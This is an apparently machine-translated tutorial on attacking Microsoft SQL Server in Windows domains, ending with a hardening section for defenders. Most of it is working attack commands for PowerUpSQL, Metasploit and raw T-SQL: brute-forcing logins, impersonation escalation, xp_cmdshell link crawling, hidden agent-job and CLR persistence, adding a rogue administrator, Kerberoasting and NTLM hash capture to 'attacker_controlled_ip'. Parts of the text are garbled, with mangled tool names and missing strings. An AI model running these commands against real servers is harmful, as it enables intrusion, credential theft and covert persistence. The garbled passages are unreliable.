Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1 //UDP port scan 
Get-SQLInstanceFile -FilePath c:\temp\computers.txt | Get-SQLInstanceScanUDPThreaded -Verbose //Get instance list from file 

Intra domain instance discovery

Instances in the domain mainly use SPN scanning to find instances. First, briefly introduce what is SPN service.

SPN service

The Windows domain environment works based on the Active Directory service. In order to effectively control the access rights of resources in the domain environment, improve the security of the network environment and facilitate the unified allocation and management of network resources. The system assigns different service principal name (SPN) to each resource in the domain. In the domain environment that uses Kerberos protocol for authentication, the local account SPN will be automatically registered. However, the services running under the user account in the domain must be manually registered for this account in the domain. As shown in the following figure, the status of SQL Server service when running users in the domain.

Because each machine in the domain needs to register SPN in the Kerberos authentication service, an attacker can send a request to the domain controller (AD) to obtain SPN related information and get the server on which a service resource is located.

SPN example of SQL Server Service:

 Service component name/host name.domain name:Listening port

For the service running under the user account in the domain, manually register the SPN

setspn -A MSSQLSvc/ mssqluser

For more information about SPN, please see:

SQL Server installed in the domain automatically registers in the Active Directory using the associated service account to support Kerberos authentication. You can identify instances in the following ways:

setspn -q */*

PowerUpSQL other discovery instance commands

Discover an Active Directory domain SQL Server instance using alternate domain credentialsrunas /noprofile /netonly /user:domain\user PowerShell.exe import-module PowerUpSQL.psd1Get-SQLInstanceDomain -Verbose -DomainController -Username domain\user -password Password123
Lists SQL Server instances that use specific domain accountsGet-SQLInstanceDomain -Verbose -DomainAccount mssqluser
List shared domain user SQL Server service accountsGet-SQLInstanceDomain -Verbose | Group-Object DomainAccount | Sort-Object count -Descending | select Count,Name | Where-Object {($.name -notlike "$") -and ($.count -gt 1) }

SQL Server password explosion

Connection test, both functions can be used for test.


Several conditions necessary for blasting:

  • Common weak passwords

  • Current local user access

  • Current domain user access

  • Alternate domain user access

Use msf to perform blasting

use auxiliary/scanner/mssql/mssql_login

PowerUpSQL other commands related to obtaining accounts:

Gets the list of domain SQL servers that can be logged in with the provided SQL Server login.$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username testuser -password testpass | Where-Object {$_.Status -like "Accessible"} $Targets
Gets the list of domain SQL servers that can log in using the current domain account.$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"} $Targets
Gets the list of domain SQL servers that can log on using an alternate domain account.runas /noprofile /netonly /user:domain\user PowerShell.exeGet-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Gets a list of domain SQL servers that can log on using an alternate domain account in a non domain system.runas /noprofile /netonly /user:domain\user PowerShell.exeGet-SQLInstanceDomain -Verbose -Username 'domain\user' -Password 'MyPassword!' -DomainController | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Discover the domain SQL Server and determine whether they are configured with the default password used by ordinary applications according to the instance name.Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

SQL Server privilege promotion

A basic idea of privilege promotion:

Preconditions for domain users to log in everywhere.

  • Added domain user

  • Local user added

  • Privilege inheritance

Some utilization points for obtaining Sysadmin permission:


Obtain low privilege account

Blasting can be performed using commonly used credentials, but pay attention to account locking.

Take PowerUpSQL as an example:

import-module .\PowerUPSQL.psd1 //Load the module.
Get-SQLInstanceScanUDP | Invoke-SQLAuditWeakLoginPw //Attack from the perspective of an unauthenticated user.
Get-SQLInstanceDomain | Invoke-SQLAuditWeakLoginPw //Attack from the perspective of domain users.
Get-SQLInstanceScanUDP | Get-SQLConnectionTestThreaded -Username <USERNAME> -Password <PASSWORD> //Manually connect to the identified SQL Server instance.

Many applications that use SQL Server Express as the back-end are configured with specific credentials and instance names. Check these credentials using the following command:

import-module .\PowerUPSQL.psd1 //Load the module.
Get-SQLInstanceDomain | Invoke-SQLAuditDefaultLoginPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw

If the communication with SQL Server is not encrypted, we can execute MITM attack to inject our own queries. According to the spoofed user privileges, we can inject SQL login.

Use local or domain user account

Try logging in to SQL Server with the current account. Excessive login privileges are common configurations.

import-module .\PowerUpSQL.psd1
Get-SQLInstanceDomain | Get-SQLConnectionTest
Get-SQLInstanceLocal | Get-SQLConnectionTest

From Public to Sysadmin

Guessing a weak password to obtain a high permission role account generally requires the following two steps:

  • Enumerate logins

  • Guess password

1. Enumerate logins

By default, Public role members cannot choose local list login, but can use fuzzy login name. If you try to enumerate all SQL Server logins, you will only see some of them. Query all SQL Server logins:

SELECT name FROM sys.syslogins

SELECT name FROM sys.server_principals

suser_name returns the principal name of the given principal ID. You can use the Public role in suser_ The name function enumerates the principal ID value to identify the SQL login. Query example:


2. Guess password

Use PowerUpSQL to try to use weak password blasting for those identified SQL Server logins.

Get-SQLFuzzServerLogin -Instance ComputerNAme\InstanceName  //PowerUpSQL Blind SQL login enumeration

3. Get the user name in the current domain

The public role can obtain the current domain information by blind guessing the SID or user name of other groups in the domain.

Get the domain of SQL Server:


Gets the full SID of the user in the domain.

SELECT SUSER_SID('<Identified_Domain>\Domain Admins')


Gets the full RID of the Admins group in the domain.

SELECT SUSER_SID('<Identified_Domain>\Domain Admins')


Grab the first 48 bytes of the full RID to get the SID of the domain. Create a new RID (to be associated with a domain object) by appending a hexadecimal numeric value to the previous Sid.

SELECT SUSER_NAME(RID)  //Gets the name of the domain object associated with the RID.

PowerUpSQL can also guess domain accounts blindly.

Get-SQLFuzzDomainAccount -Instance ComputerNAme\InstanceName

Use Public to get more permissions

In the context of an account with Public permission to SQL Server, the most commonly used method to obtain execution permission is:

  • Privilege simulation

  • Stored procedure and trigger creation / injection

  • Automatic execution of write stored procedures

  • SQL Server agent task

  • xp_cmdshell

  • Create a database link to a file or server

  • Import / install custom CLR assemblies

  • Temporary query

  • Shared service account

  • Database link

  • UNC path injection

  • Python/R script execution.

Most of the above contents have been introduced in the common attack surface of SQL Server and will not be repeated. The methods not mentioned above are briefly introduced below.

1. Privilege simulation

There is a privilege / permission in SQL Server, which allows a user with lower permission to simulate another user with more access rights. Query / command execution is not restricted, but the database must be configured to allow OS command execution objects.

EXECUTE AS statement

By default, the session starts when the user logs in and ends when the user logs out. All operations during the session must check the permissions of the user. When an EXECUTE AS statement runs, the execution context of the session switches to the specified login or user name. After context switching, the permissions will be checked against the login name and user security token of the account rather than the person calling the EXECUTE AS statement. Essentially, a user or login is impersonated during session or module execution, or context switching is explicitly restored.

Use the public role user testuser to manually check whether it is sa login:

SELECT IS_SRVROLEMEMBER('sysadmin') //Check whether the SQL Server login is a member of the specified server role.

EXECUTE AS LOGIN = 'sa'  //Simulate sa database level. For server level, use EXECUTE AS USER.

Use the public role user testuser again to manually check that the current simulated Login is sa:


2. Creation / injection of stored procedures and triggers

A common mistake for developers is to write all the functions they want to use into stored procedures so that they can be executed in the context of other users. These stored procedures can be executed as the owner of the database (the owner's EXECUTE AS) so that it can access other resources. It can also be executed in the context of high-level users without granting privileges. However, from the perspective of security, this method has some disadvantages:

  • The permissions of the database owner cannot be finely controlled.

  • A normal account or sysadmin account usually owns the database.

DB_ The owner role can be performed in the context of sa or sysadmin accounts using EXECUTE AS OWNER. If the implementation of these stored procedures is not secure, they can be simulated through SQL injection or command injection by extending the stored procedures. example:

USE test2
CREATE PROCEDURE test_imitation2
EXEC sp_addsrvrolemember 'testuser','sysadmin'

The database must be configured as a trusted OS command executor. Although you can simulate through SQL or command injection, creating stored procedures or triggers is a better choice.


Attack scenario:

The DBA does the following for the Web application:

CREATE LOGIN somebody WITH PASSWORD = 'Password123';  //Create SQL login for WebApp.
USE test
ALTER LOGIN [somebody] with default database = [test];
CREATE USER somebody FROM LOGIN [somebody];
EXEC sp_addrolemember [db_owner], [somebody];  //Assign DB to this SQL login_ Owner role. Webapp can access anything you need from the database.
ALTER DATABASE CurrentDB SET TRUSTWORTHY ON  //Set the database to trusted access to external resources.

Such databases can be identified in the query

SELECT SUSER_NAME(owner_id) as DBOWNER, as DATABASENAME FROM sys.server_principals r INNER JOIN sys.server_role_members m on r.principal_id = m.role_principal_id INNER JOIN sys.server_principals p ON p.principal_id = m.member_principal_id inner join sys.databases d on suser_sname(d.owner_sid) = WHERE is_trustworthy_on = 1 AND NOT IN ('MSDB') and r.type = 'R' and = N'sysadmin'

The following metasploit modules can be used for automatic detection


For more information, please refer to the NetSpi blog

3. Service account

All versions of SQL Server provide sysadmin privileges for service accounts.

List some common service account types:

  • Domain user

  • Local user

  • local system

  • network service

  • Local hosting service account

  • Domain hosting service account

Invoke sqloscmd of PowerUpSQL can be used for basic command execution.

For a single host instance:

Invoke-SQLOSCMD –Verbose –Instance "server1\instance1" –Command "whoami"

For intra domain instances:

Get-SQLInstanceDomain | InvokeSQLOSCMD –Verbose –Command "whoami"

If we attack a SQL Server, we will also use the shared account to attack all SQL servers.

4. Climb database link

Database Link is essentially a persistent connection between two servers. The function of Database Link is to allow one database server to query other database servers. Data links can be configured in different ways, but more often we see them using hard coded credentials.

The Public role uses the openquery() function to query the linked database server; You can also execute xp_cmdshell, and there is no credential requirement for remote access. Usually, configuring this function will make the database server have too many privileges. Therefore, it is allowed to simulate login on the remote server and switch to the context of high authority account.

The following figure briefly illustrates how the injected payload is passed when the database configures too much privileges for the link query function:

List all linked server names, usually with two options

exec sp_linkedservers


SELECT srvname FROM master..syservers

Query all linked server names of a server:

SELECT srvnaem From openquery(DB1, 'select srvname FROM master..sysservers')

Query the server name linked by a linked server of a server:

SELECT srvnaem From openquery(DB1, 'select srvname FROM openquery(HVA, "SELECT srvname FROM master..syservers")')

Queries can be nested until all database servers are exhausted. Execute the command on the linked server:

SELECT * FROM openquery(DB1, 'SELECT * FROM openquery(HVA, "SELECT 1; exec xp_cmdshell'"'ping"" '')')

SQL Server 2005 has a link crawl command execution vulnerability. Use MSSQL of msf_ The linkcrawler module can get the rebound shell.

use exploit/windows/mssql/mssql_linkcrawler

Tools for automatic crawling:

From system administrator to Sysadmin

First, understand three points:

  • Older versions of SQL Server provide sysadmin privileges for local administrators

  • Older versions of SQL Server provide sysadmin privileges to the local system

  • All versions of SQL server provide sysadmin privileges for the SQL Server service account

The following is a list of utilization points and common tools:

Utilization pointCommon tools
Access DB as local administratorManagement Studio, sqlcmd and other SQL client tools.
Access DB as local systemPsexec, accessibility option, debugger with native SQL client tools.
Recover the service account password through LSA SecretsMimikatz, Metasploit, lsadump.
SQL Server service process injectionMetasploit, Python, Powershell (LoadLibrary, CreateRemoteThread and other similar functions)
Steal authentication token from service processMetasploit, Incognito, Invoke-TokenManipulation
Single user modeDBATools

The above utilization points are not necessarily applicable to all versions of SQL Server. The applicable versions are listed below (√: applicable, ×: Not applicable,?: May be applicable), for reference only:

Utilization pointSQL Server 2000SQL Server 2005SQL Server 2008SQL Server 2012SQL Server 2014SQL Server 2016
service voucher
Local administrator××××
local system ×××
SQL Server process injection?
Token theft?
Single user mode?

Some execution commands of PowerUpSQL are attached:

Domain user for the SQL server account. When running as a domain user, this feature will automatically perform four things. 1. Query the SPN of the DC through LDAP to identify the SQL Server on the domain. 2. Try logging in to each. 3. Use multiple methods to perform UNC path injection. 4. Try to capture the password hash of the associated SQL Server service account.Invoke-SQLUncPathInjection -Verbose -CaptureIp
Convert the OS administrator to sysadmin through service account emulation, and then all PowerUpSQL commands can be run as sysadmin.Invoke-SQLImpersonateService -Verbose -Instance MSSQLSRV04\BOSCHSQL
Audit questionsInvoke-SQLAudit -Verbose -Instance SQLServer1
Upgrade to sysadminInvoke-SQLEscalatePriv -Verbose -Instance SQLServer1
Execute OS command: xp_cmdshell$Targets | Invoke-SQLOSCmd -Verbose -Command "Whoami" -Threads 10
Execute OS command: custom extended stored procedureCreate-SQLFileXpDll -OutFile c:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_ Test - verbose will test The DLL is placed on a share readable by the SQL Server service account. Get-SQLQuery -Verbose -Query "sp_addextendedproc 'xp_test', '\yourserver\yourshare\myxp.dll'"xp_testsp_dropextendedproc 'xp_test'
Execute OS command: CLR$Targets | Invoke-SQLOSCLR -Verbose -Command "Whoami"
Execute OS command: Ole automation process$Targets | Invoke-SQLOSOle -Verbose -Command "Whoami"
Execute OS command: external script - R$Targets | Invoke-SQLOSR -Verbose -Command "Whoami"
Execute OS command: external script Python$Targets | Invoke-SQLOSPython -Verbose -Command "Whoami"
Execute OS command: agent job - CmdExec$Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem CmdExec -Command "echo hello > c:\windows\temp\test1.txt"
Execute OS command: agent job - PowerShell$Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem PowerShell -Command 'write-output "hello world" | out-file c:\windows\temp\test2.txt' -Sleep 20
Execute OS command: agent job - VBScript$Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem VBScript -Command 'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test3.txt'
Execute OS command: agent job - JScript$Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem JScript -Command 'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test3.txt'
Retrieve database linksGet-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1
Retrieve database links and execute queriesGet-SqlServerLinkCrawl -Verbose -Instance SQLSERVER1\Instance1 -Query "select name from master..sysdatabases"
Grab the database link and execute the OS commandGet-SQLCrawl -instance "SQLSERVER1\Instance1" -Query "exec master..xp_cmdshell 'whoami'"
Dump the contents of the agent task. Usually contains a password. The detailed output includes job summary data.$Results = Get-SQLAgentJob -Verbose -Instance Server1\Instance1 -Username sa -Password '123qweASD'
Enumerate all SQL logins as the least privileged user and test the user name as the password.Invoke sqlauditweakloginpw for a single server - verbose - instance sqlserver1 \ instance1 run $weakpasswords for a domain SQL Server = get sqlinstancedomain - verbose | invoke sqlauditweakloginpw - verbose $weakpasswords

SQL Server permission maintenance

Using SQL Server to set permission maintenance method mainly depends on SQL Server agent job to execute scheduled tasks regularly. In order to realize file free attack, the CLR assembly function is also used to load malicious DLL files. Through the persistence of these two built-in functions, the permission maintenance can be implemented without file landing and other processes.

There are several prerequisites for this persistence:

  • Start SQL Server agent service

  • Turn on CLR function

  • Store the Net assembly's database is configured to be trusted

The above are described in detail in the execution of planned tasks in SQL server agent and the utilization of SQL Server CLR.

High concealment persistence

After connecting to the SQL Server database, create a SQL server agent job, regularly execute SQL statements, call malicious user-defined stored procedures or functions, and use SQL statements to load the CLR assembly into the database in hexadecimal form, so as to call malicious CLR assembly through user-defined functions. The created SQL server agent job executes scheduled tasks regularly and calls CLR assembly to realize file free persistence.

First, create a stored procedure called CreateWarSQLKit (for WarSQLKit related utilization, see the WarSQLKit chapter related utilization of SQL ServerCLR in Chapter 2)

USE msdb;
CREATE procedure CreateWarSQLKit as
    FROM 0x4D5A......

Create SQL Server agent job and execute CreateWarSQLKit regularly to realize the persistence of WarSQLKit DLL file.

USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_CreateWarSQLKit_job1'; 
EXEC sp_add_jobstep 
    @job_name = N'test_CreateWarSQLKit_job1', 
    @step_name = N'test_CreateWarSQLKit_name1',
    @subsystem = N'TSQL',
    @command = N'exec CreateWarSQLKit', 
    @retry_attempts = 5, 
    @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_CreateWarSQLKit_job1';
EXEC dbo.sp_start_job N'test_CreateWarSQLKit_job1';

Other ways to achieve persistence

In addition to the stored procedures that can execute system commands by using SQL Server normally, the following operations are stored in the database as SQL objects without any changes to disk, and file persistence can also be achieved.

Can be. Utilman Exe to set the debugger, which will call CMD Exe. sysadmins privilege only.

import-module .\PowerUPSQL.psd1
Get-SQLPersistentRegDebugger -Verbose -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Instance SQLServerName\InstanceName'

You can use CurrentVersion \run and xp_regwrite setup. sysadmins privilege only.

import-module .\PowerUPSQL.psd1
Get-SQLPersistentRegRun -Verbose -Name legit -Command '\\attacker_controlled_ip\malicious.exe' -Instance 'SQLServerName\InstanceName'

You can export all custom CLR assemblies to DLL s, and finally import back door CLR. sysadmins privilege only.

import-module .\PowerUPSQL.psd1
$Results = Get-SQLStoredProcedureCLR -Verbose -Instance 'SQLServerName\InstanceName' -UserName sa -Password 'password' -ExportFolder c:\temp
Create-SQLFileCLRDll -Verbose -SourceDllPath c:\temp\evil.exe

If you encounter xplog70 in SQL server DLL file has been deleted or put elsewhere, XP_ The cmdshell cannot execute the command we issued. Consider that SQL server has a series of OLE related stored procedures, which are the same as XP_ Cmdshells are as dangerous as stored procedures that read registry series, so they are less likely to be deleted. The stored procedures in this series are sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop.

You can add a user name of test and password of 12345678 to the system and join the administrator group.

DECLARE @shell INT EXEC SP_OACREATE '',@shell OUTPUT EXEC  SP_OAMETHOD @shell,'run',null, 'c:\windows\system32\cmd.exe /c net user test  12345678 /add'
DECLARE @shell INT EXEC SP_OACREATE '',@shell OUTPUT  EXEC SP_OAMETHOD @shell,'run',null, 'c:\windows\system32\cmd.exe /c net  localgroup administrators test /add '

xp_cmdshell,SP_ The stored procedures of executable system commands such as oacreate and their corresponding dynamic link library files (DLL s) have been deleted. You can also read and modify the stored procedures of the registry (xp_regread, xp_regwrite) to clone the administrator users of the other system.

PowerUpSQL Command Reference:

Export all custom CLR assemblies to DLL s. They can be decompiled offline and usually contain passwords. Moreover, it can be backdoor without too much effort.$Results = Get-SQLStoredProcedureCLR -Verbose -Instance Server1\Instance1 -Username sa -Password 'P@ssword!' -ExportFolder c:\temp $Results | Out-GridView
Create an SQL command that can be used to import an existing (or backdoor) CLR assembly.Create-SQLFileCLRDll -Verbose -SourceDllPath c:\temp\evil.dll blog:
Create DLL s and SQL commands that can be used to import CLR assemblies to execute OS commands.Create-SQLFileCLRDll -Verbose -ProcedureName runcmd -OutDir c:\temp -OutFile evil
Gets the list of shared SQL Server service accounts.Get sqlistancedomain - verbose | select object domainaccount, computername - unique | group object domainaccount | sort object count - descending note: any count greater than 1 indicates that domain accounts used on multiple systems may be used for SMB relay attacks.

SQL Server horizontal move

Kerberoast attack

Use the traditional Kerberos attack to move horizontally. Kerberos is an attack against Kerberos protocol. According to the Kerberos protocol, when the authentication is completed to the active directory, the key distribution center (KDC) will send the service authorization ticket (TGT) to the user as the identity certificate when accessing resources. When you need to access resources and send Kerberos tickets to the ticket server (TGS), you first need to use the ticket with a valid user identity (TGT) to request the service ticket of local voice from the ticket server (TGS). When the ticket (TGT) is verified to have the permission of this service, a new ticket will be sent to the user. The new ticket uses NTLM Hash of the service account in the computer associated with SPN. Attackers can try different NTLM hashes to open Kerberos tickets. NTLM Hash corresponds to the password of the service account.

There are several prerequisites for this attack:

  • The SQL Server running by users in the domain has manually registered SPN

  • The encryption method of Kerberos protocol is RC4_HMAC_MD5

Kerberos attack can be completed through the utilization point where SQL Server can execute PowerShell commands and import CLR assemblies with specific functions.

View the SPN s registered by users in the specified domain

setspn -L SEC\MSSQL2

The DLL of WarSQLKit set above exists sp_Mimikatz stores and executes mimikatz.

exec sp_cmdExec 'sp_Mimikatz';
select * from WarSQLKitTemp //Get Mimikatz log

Or you can request the Kerberos ticket to SPN by using any method that can execute PowerShell commands:

Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/"
exec xp_cmdshell 'powershell Add-Type -AssemblyName System.IdentityModel ; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/"'

The deployment can then be downloaded remotely using PowerShell commands mimikatz , or kerberoast.

#mimikatz: kerberos::list /export

The exported ticket will be saved to the kirbi file in the current directory.

utilize kerberoast Tgsrepcrack Py script to crack NTLM Hash offline.

Get sqlserverpasswordhash is used in PowerUpSQL to automatically extract the SQL login password hash:

import-module .\PowerUPSQL.psd1
Get-SQLServerPasswordHash -Verbose -Instance 'SQLServerName\InstanceName' -Migrate

CLR realizes horizontal movement without file landing

David Cash stay MSSQL Lateral Movement This paper introduces the use of CLR in SQL Server to automatically perform horizontal movement without file landing and without xp_cmdshell and how to prevent it from being detected.

The introduction of CLR has been introduced above and will not be repeated here. Usually, the late development of MSSQL services for command execution usually takes advantage of XP_ The cmdshell stored procedure runs operating system commands in the context of the MSSQL process. To run custom code using this technology, you usually need to use LOLBINS to add new operating system users or write binary files to disk through BCP, which provides an obvious detection opportunity.

The SQL Server service process can execute whatever is provided to it NET code, so use NET code to move horizontally, you only need to build the appropriate DLL. As a proof of concept, in order to generate a simple assembly, the assembly XOR some shellcode s and inject them into the generated process. use Squeak It can simplify the creation and calling of CLR code. Here are some functions of Squeak:

  • Show connection data

  • Read shellcode bytes from original binary and single byte XOR

  • Generate an MSSQL CLR DLL, which XOR shellcode, generate a new process, and then inject shellcode into it.

  • Calculate SHA512 hash of DLL

  • Generate a single with hard coded parameters NET executable to execute DLL via SQL connection – this executable does the following:

    • Create an SQL connection

    • Check SQL Server Version

    • Check DBA permissions

    • Check and record existing security settings

    • Modify security settings

    • Create and run assemblies

    • Restore security settings and delete assemblies

use Squeak You can generate stand-alone executables with connection strings and CLR assemblies. The code of CLR assembly is loaded from the file in the local directory. You can open the file directly or edit it in the tool.

UNC path injection

UNC is used to access the remote file server in the format of \ ip\file. If we can perform this function, we can force SQL server to authenticate with us and obtain the NTLM password hash of the SQL Server service account.

Automation can be achieved by:

  • Get sqlserviceaccountpwhashes script for PowerUpSQL

  • SQL NTLM Hash:

import-module .\PowerUpSQL.ps1`
Import-Module C:\PowerUpSQL-master\Scripts\3rdparty\Inveigh.ps1
Import-Module C:\PowerUpSQL-master\Scripts\pending\Get-SQLServiceAccountPwHashes.ps1
Get-SQLServiceAccountPwHashes -Verbose -TimeOut 20 -CaptureIp attacker_controlled_ip
  • Using smbrelayx (impacket)

python -h sqlserverIP -c 'powershell empire launcher'
  • SQL NTLM Hash for metasploit:

msf > use auxiliary/admin/mssql/mssql_ntlm_stealer
set SMBPROXY attackerIP
set RHOST webappwithsqliIP
set GET_PATH pathtosqli

How does the defender respond

account management

Query the current list of all users

select name,password from syslogins order by name

Assign different accounts to different administrators

Allocate accounts according to the purpose of use, avoid sharing accounts between different users and improve security. Or directly add remote login users in the enterprise manager, establish roles, authorize roles, assign roles to different users, or modify roles and permissions in user attributes.

To add different users, refer to the configuration operation:

sp_addlogin 'user1','password1'
sp_addlogin 'user2','password2'

Delete or lock invalid account

Delete redundant system default accounts to reduce system security risks. Refer to the configuration operation.

Microsoft SQL Server Management Studio -> SQL Server -> Security -> Login name -> Select the user name to delete (right click)

Restrict startup account permissions

The permission of the user who starts mssql is too high, which will cause its child processes to have the same permission. Refer to the configuration operation:

Microsoft SQL Server Management Studio -> SQL Server ->attribute(Right click) -> Security

After creating a new SQL server service account, it is recommended to delete it from the User group, do not promote the account to be a member of the Administrators group, and grant the minimum startup permission to the account.

Authentication authorization

Permission minimization

Within the database permission configuration capability, configure the minimum permission required according to the user's business needs. Refer to the configuration operation:

Microsoft SQL Server Management Studio -> SQL Server -> attribute(Right click) -> Security

Database role

Use the database ROLE to manage the permissions of objects. Refer to the configuration operation:

Microsoft SQL Server Management Studio -> SQL Server -> Security -> Server role (right click)-> New server role

Adjust the permissions in the role attributes and give the role the permissions of SELECT, INSERT, UPDATE, DELETE, EXEC and DRI corresponding to the object


Is there an empty password user

Audit the attributes of all accounts, including blank password, password update time, etc. Modify the passwords of all current accounts and confirm them as strong passwords. Especially sa account.

select * from sysusers 
select name,Password from syslogins where password is null order by name  # View users with blank password 

Use sp_password to update the user password, especially the sa account, you need to set a strong password of at least 10 characters.

exec sp_password 'old_passwd', 'new_passwd', sa

Lock privilege

By default, the SQL Server Installation grants the guest account public role membership in all databases except the model database. It is recommended to disable the guest account in Windows and revoke its access to all databases except master and tempdb. Refer to the configuration operation and use the following command to delete the database access permission

use msdb;
exec sp_revokedbaccess guest;

Public should not access Web task tables because they make table data available to web clients. Privileges shall be revoked:

revoke update on mswebtasks to public
revoke insert on mswebtasks to public

The Microsoft data conversion service (DTS) package is a set of COM interfaces that can be used to perform many administrative tasks on SQL Server using the following commands: T-SQL, Windows scripts, and executable tools. By default, enterprise manager users can access the list of available DTS packages. Process sp_enum_ dtspackages will be displayed and can be entered into sp_ get_ Package name and ID number in dtspackage, which returns package data. An attacker may then put the package into his local installation of SQL Server and view the package details, which typically contain the credentials of other servers. The privileges of these programs shall be removed:

revoke execute on sp_enum_dtspackages to public
revoke execute on sp_get_dtspackage to public

sp_ get_ SQLAgent_ The properties stored procedure is used to display the confused password of the SQL Server agent service connecting to the database server. Use this tool( )Can solve the confusion. Permissions for this program should be removed:

revoke execute on sp_get_SQLAgent_properties to public

Microsoft data transformation services (DTS) is used to process data from multiple sources, such as OLE DB, ODBC, or text files. The connection password is saved in clear text in the table RTblDBMProps in Col11120 column, so anyone with selection privilege can retrieve it. Use the following command to lock permissions on this table:

revoke select on RTblDBMProps to public
revoke update on RTblDBMProps to public
revoke insert on RTblDBMProps to public
revoke delete on RTblDBMProps to public

Configure log audit

Enable log audit function

The database shall be configured with log function to audit the user login. The log content includes the account used by the user, whether the login is successful, login time, etc.

Open the database properties, check the security, adjust the server authentication to "SQL Server and Windows authentication mode", and adjust the login audit in security to "failed and successful login".

Microsoft SQL Server Management Studio -> SQL Server((right click) -> attribute -> Security

Or by setting the following registry value to 2 (setting it to 3 will also record successful logins):


Configure network communication protocol

Disable unnecessary network services

The network communication protocols used by SQL Server should be limited to those required by the minimum infrastructure. Disable SQL Server running redundant services. Enabling unfamiliar network communication protocols may increase database network risk. TCP/IP is the most commonly used network protocol stack for SQL Server. Together with SSL, it provides a secure basis for accessing SQL Server.

Microsoft SQL Server program group, running the service network utility. It is recommended to only use TCP/IP protocol and disable other protocols.

SQL Server Configuration Manager -> SQL Server network configuration -> MSSQLSERVER Agreement

Ruggedized TCP/IP protocol stack

View registry keys


Reference configuration operation

The reinforcement of TCP/IP protocol stack is mainly the modification of some registry keys. Mainly the following:

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DisableIPSourceRouting #Note: the key value should be set to 2 to defend against source route spoofing attacks. HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnableICMPRedirect #Note: the key value should be set to 0 to ICMP Redirect. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\SynAttackProtect #Note: the key value should be set to 2 to defend against syn floor attack.

Use encrypted communication protocol

Start the SQL Server configuration tool and enable "force protocol encryption".

SQL Server Configuration Manager -> SQL Server network configuration -> MSSQLSERVER Protocol (right click) -> attribute


Delete unnecessary stored procedures

Query all existing stored procedures

select * from sysobjects where xtype='P'


Microsoft SQL Server Management Studio -> SQL Server -> database -> System database -> master((example)-> Programmability -> stored procedure/Extended stored procedure -> System stored procedure/System extended stored procedure


Delete dangerous stored procedures in SQL Server:

exec sp_dropextendedproc 'xp_cmdshell' 
exec sp_dropextendedproc 'xp_dirtree'
exec sp_dropextendedproc 'xp_enumgroups'
exec sp_dropextendedproc 'xp_fixeddrives'
exec sp_dropextendedproc 'xp_loginconfig'
exec sp_dropextendedproc 'xp_enumerrorlogs'
exec sp_dropextendedproc 'xp_getfiledetails'
exec sp_dropextendedproc 'Sp_OACreate' 
exec sp_dropextendedproc 'Sp_OADestroy' 
exec sp_dropextendedproc 'Sp_OAGetErrorInfo' 
exec sp_dropextendedproc 'Sp_OAGetProperty' 
exec sp_dropextendedproc 'Sp_OAMethod' 
exec sp_dropextendedproc 'Sp_OASetProperty' 
exec sp_dropextendedproc 'Sp_OAStop' 
exec sp_dropextendedproc 'Xp_regaddmultistring' 
exec sp_dropextendedproc 'Xp_regdeletekey' 
exec sp_dropextendedproc 'Xp_regdeletevalue' 
exec sp_dropextendedproc 'Xp_regenumvalues' 
exec sp_dropextendedproc 'Xp_regread' 
exec sp_dropextendedproc 'Xp_regremovemultistring' 
exec sp_dropextendedproc 'Xp_regwrite' 
drop procedure sp_makewebtask

Delete unnecessary stored procedures. Generally, the recommended stored procedures to delete are:


When not required by the application, it is recommended to delete the following stored procedures:


Remove unnecessary functions and services

The remote access function of SQL Server allows other SQL servers on the network to connect remotely and execute stored procedures. If you do not need this feature, you should disable it using the following command.

execute sp_configure 'remote access', '0'
reconfigure with override

Or use Microsoft SQL Server Management Studio

Microsoft SQL Server Management Studio -> SQL Server((right click) -> attribute -> connect

The configuration option "allow update" defines whether database users can update system tables directly. This may be a useful temporary feature for senior administrators, but it should be disabled for normal operation:

execute sp_configure 'allow updates', '0'
reconfigure with override

SQL Server Monitor, which listens on UDP port 1434 and provides information that clients should not access instances that exist on the server, and SQL server will run when it is blocked. The firewall or shall block external communication from TCP port 1433 and UDP port 1434. Heterogeneous or temporary queries allow database users to execute queries on remote servers using local data. This feature may be abused to force the use of remote or local access credentials and should be disabled when not required:

exec xp_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB', N'DisallowAdhocAccess', N'REG_DWORD', 1

If not, disable the SQL Server agent, Microsoft Distributed Transaction Coordinator (MSDTC), and MSSearch services. You can turn off services using enterprise manager or by setting its startup type to stop in the Windows Services administrative tool.

Microsoft SQL Server Management Studio -> SQL Server -> Administration


Or set the registry value to disable the service:

exec sp_set_sqlagent_properties @auto_start=0
exec xp_regwrite N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSDTC', N'Start', N'REG_DWORD', 3
exec xp_regwrite N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH', N'Start', N'REG_DWORD', 3

After making these changes, you should manually stop the service or restart the server.

Install patch

